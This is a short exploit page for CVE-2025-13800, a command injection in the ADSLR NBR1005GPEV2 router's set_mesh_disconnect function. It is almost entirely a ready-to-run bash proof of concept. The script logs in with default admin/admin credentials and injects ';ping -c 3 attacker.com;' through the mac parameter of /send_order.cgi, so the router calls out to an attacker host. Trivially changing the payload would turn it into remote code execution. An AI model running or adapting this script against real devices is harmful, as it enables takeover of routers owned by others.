CVE-2025-13800 ADSLR NBR1005GPEV2路由器set_mesh_disconnect命令注入漏洞

#!/bin/bash # CVE-2025-13800 PoC - ADSLR NBR1005GPEV2 Command Injection # Target: /send_order.cgi - set_mesh_disconnect function TARGET="http://TARGET_IP" USERNAME="admin" PASSWORD="admin" # Authenticate and get session cookie COOKIES=$(curl -s -c - -d "username=$USERNAME&password=$PASSWORD" "$TARGET/login.cgi" | grep PHPSESSID | awk '{print $NF}') # Command injection via mac parameter # Using ping command as simple test PAYLOAD=";ping -c 3 attacker.com;" echo "[*] Sending malicious request..." curl -s -b "PHPSESSID=$COOKIES" \ -d "function=set_mesh_disconnect&mac=$PAYLOAD" \ "$TARGET/send_order.cgi" echo "[*] Check attacker.com logs for ICMP packets"